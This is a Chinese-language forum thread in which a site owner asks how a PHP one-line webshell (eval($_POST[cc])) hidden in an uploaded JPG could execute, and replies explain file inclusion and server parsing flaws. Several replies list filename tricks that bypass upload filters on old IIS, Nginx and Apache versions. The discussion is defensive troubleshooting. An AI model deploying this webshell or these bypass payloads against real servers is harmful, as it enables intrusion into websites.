zoneself
V2EX  ›  PHP

发现图片里含有一句话木马,含有木马的图片到底是怎么运行的

  •  
  •   zoneself · Dec 14, 2017 · 22512 views
    This topic created in 3246 days ago, the information mentioned may be changed or developed.

    发现服务器里的一个图片里含有一句话木马
    eval($_POST[cc]);
    我吧图片下载到本地,在本地环境中引用图片,
    没发现什么多余的文件或者恶意代码,请大牛指导下,携带这种木马的图片会不会有风险?
    他们在服务器端到底是怎么执行的?
    在线等

    35 replies  •  2017-12-16 01:33:31 +08:00
    tabris17
    tabris17
    Dec 14, 2017
    1
    我记得以前可以通过 pathinfo 的漏洞来运行
    zoneself
    zoneself
    OP
    Dec 14, 2017
    2
    @inroading 大牛,来指导下
    zoneself
    zoneself
    OP
    Dec 14, 2017
    3
    @tabris17 现在是不是不行了?
    fcten
    fcten
    Dec 14, 2017
    4
    只要让服务器把图片当作 php 脚本解析就行了,方法有很多,除了楼上提到的以外也有可能有本地文件包含漏洞
    tar
    tar
    Dec 14, 2017
    5
    两种情况,第一种是服务器解析成了 php 格式的才是真正的木马,就是用解析漏洞进行解析为执行代码;第二种是测试的时候,比如前端限制了只允许上传图片格式的,那么先拦截包,多发送几次,第一次可能没有改文件的后缀,就成功上传上了,后面改了后缀被拒绝就没上传成功,于是你就发现你服务器里面有个图片马(纯猜测)
    sola97
    sola97
    Dec 14, 2017
    6
    解析成 php 拿菜刀连
    zoneself
    zoneself
    OP
    Dec 14, 2017
    7
    @sola97 如何解析? 你的意思是本地服务器吧线上的一个图片地址解析成 php 在本地执行吗?
    @tar 是图片里含有木马哈,jpg 格式的,不是 php 格式的
    @fcten 请问大佬,怎么让本地服务器吧图片当做 php 解析呢? 本地环境是 phpstudy
    anoymoux
    anoymoux
    Dec 14, 2017❤️1
    8
    直接留 eval 的后门很容易被检测到,所以把一句话放图片里,然后搭配 include 来用........
    OpenJerry
    OpenJerry
    Dec 14, 2017 via Android
    9
    图片马上传后利用文件包含漏洞来执行
    Telegram
    Telegram
    Dec 14, 2017 via iPhone
    10
    把图片 include 呢?方法很多的。

    也有可能是黑客测试时留下的,不一定被入侵成功了。比如我测试上传漏洞,上传一个扩展名是 jpg 的文件,尝试利用漏洞截断,达到服务器把这个文件保存成 php 的文件目的,结果没成功,还是保存成了 jpg,就留下了这么一个文件。
    lxy
    lxy
    Dec 14, 2017❤️1
    11
    Nginx 文件类型错误解析漏洞。前不久我参考这个 https://www.cnblogs.com/batsing/p/nginx_bug1_attack.html 做了测试,nginx/1.13.6,php-7.1.11 ,问题依然存在。想不明白为什么 Nginx 和 PHP 一直很难搭档,没有点改变。
    zoneself
    zoneself
    OP
    Dec 14, 2017
    12
    @Telegram 嗯 我吧图片放在本地环境下 用 include 引用图片地址,执行了,生成了一个 php 文件,可以执行。<br/>然后我用 include 方法远程引用线上的图片,线上没生成 php 文件呢,线上没生成 php 呢,我就纳闷这个图片包含的木马是怎么执行的,如果他可以在线上上传 php 或者修改 php 文件,就没有这么麻烦了吧,直接上传或者修改成大马就行了……
    WordTian
    WordTian
    Dec 14, 2017 via Android
    13
    cat *.jpg | sh
    zoneself
    zoneself
    OP
    Dec 14, 2017
    14
    @lxy 线上服务器是 iis 呢 不是 nginx
    mingzu
    mingzu
    Dec 14, 2017
    15
    没事呀,只要这个图片不解析成 PHP 就可以了。

    图片后缀会当成图片解析。

    比如很早以前的 iis 6.0 漏洞就会把图片后缀的后缀截成 php 后缀, 当作 PHP 脚本运行。
    zoneself
    zoneself
    OP
    Dec 14, 2017
    16
    @mingzu 我试了下,现在不行 哈哈
    zerofiny
    zerofiny
    Dec 14, 2017 via Android
    17
    很早之前可以 a.com/a.jpg/n.php 或者 a.com/a.jpg%00.php
    zoneself
    zoneself
    OP
    Dec 14, 2017
    18
    @hasdream 你说的是 a.com/a.jpg 空格.php 吧 这个我也试了,也失效啦
    Sanko
    Sanko
    Dec 14, 2017 via Android
    19
    a.asp/1.jpg 即*.asp 目录下的文件会被当做可执行脚本执行,好像是 iis6.0 的漏洞
    Va1n3R
    Va1n3R
    Dec 14, 2017
    20
    解析漏洞以及文件包含可以触发这个后门,现在稍微环境新一点都不会有解析漏洞的。
    Va1n3R
    Va1n3R
    Dec 14, 2017
    21
    IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpg
    IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.php
    Nginx <8.03 空字节代码执行漏洞 1.jpg%00.php
    Apache 解析漏洞 .php.一个无效后缀
    还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,不过恕我直言,用 Windows 当服务器就是 sb...
    CEBBCAT
    CEBBCAT
    Dec 14, 2017 via Android
    22
    楼主学艺技能不错
    wooyuntest
    wooyuntest
    Dec 14, 2017
    23
    因为存在解析漏洞
    zoneself
    zoneself
    OP
    Dec 14, 2017
    24
    @Va1n3R @wooyuntest 解析漏洞都不存在呢
    binux
    binux
    Dec 14, 2017 via Android
    25
    @zoneself 你的思路错了,他上传那个文件不是因为你有这个漏洞,而是在试你是否有这个漏洞。
    MOmc
    MOmc
    Dec 14, 2017 via Android
    26
    场景可能这样。有人想 getshell,可能是想试试有没有上传漏洞,然后在传的时候直接怼了目前的“图片”(新手来的),然后可能没绕成功就直接把图片怼上去了………还有一种可能就是大家说的解析漏洞,他可能发现你这里有解析漏洞然后直接干(不过楼主说没有解析漏洞那应该是前者吧)………建议楼主查一下日志,看看是哪里有未授权访问到上传功能还是说有注入被打进后台又或者有弱口令等等………查日志吧大兄弟………声明一下我在某安全公司做渗透,正规工作,请某些人不要打扰我谢谢!
    Va1n3R
    Va1n3R
    Dec 14, 2017
    27
    @zoneself 不存在就不存在呗,不试试怎么有没有漏洞,攻击者可能只是测试下而已啊,看日志吧。有没有访问这个图片的
    Soar360
    Soar360
    Dec 15, 2017 via iPhone
    28
    A.jpg;.php 经典的 iis6 解析楼顶。
    msg7086
    msg7086
    Dec 15, 2017
    29
    要是运行成功了,楼主你还笑呵呵在论坛上和人聊天?怕不是早就在备份数据重装系统了。
    zoneself
    zoneself
    OP
    Dec 15, 2017
    30
    @MOmc 就是传说中的黑客吧,好怕怕……
    @Va1n3R 嗯 准备找那个时间段的日志分析下
    @Soar360 漏洞不存在啦,我尝试了
    @msg7086 要是运行成功了,我就呵呵了,卷铺盖走人了
    mingzu
    mingzu
    Dec 15, 2017
    31
    @zoneself 现在没人用 IIS6 吧,大家的意思是让你排查类似的解析漏洞。微醺..
    zoneself
    zoneself
    OP
    Dec 15, 2017
    32
    @mingzu 嗯嗯,了解了,谢谢你,也谢谢各位大佬!
    RcoIl
    RcoIl
    Dec 15, 2017
    33
    首先,图片马是配合解析漏洞或者文件包含才能正常执行。
    其次,解析漏洞存在于 apache,iis,Nginx 各个版本(指的是以前的版本)。
    然后,这里的文件包含指的是本地包含。
    最后,楼主本地 include 线上的图片,要执行也是在本地执行,而不是线上,所以不会对线上有影响。本地测试解析漏洞可以去修改 apache 的配置文件。
    ztaosony
    ztaosony
    Dec 15, 2017
    34
    说到底所有的方法都是为了让这个图片文件解析成 php 脚本文件。
    MOmc
    MOmc
    Dec 16, 2017 via Android
    35
    @zoneself 不是不是,大佬我删评论了…
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1429 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 60ms · UTC 18:24 · PVG 02:24 · LAX 10:24 · JFK 13:24
    ♥ Do have faith in what you're doing.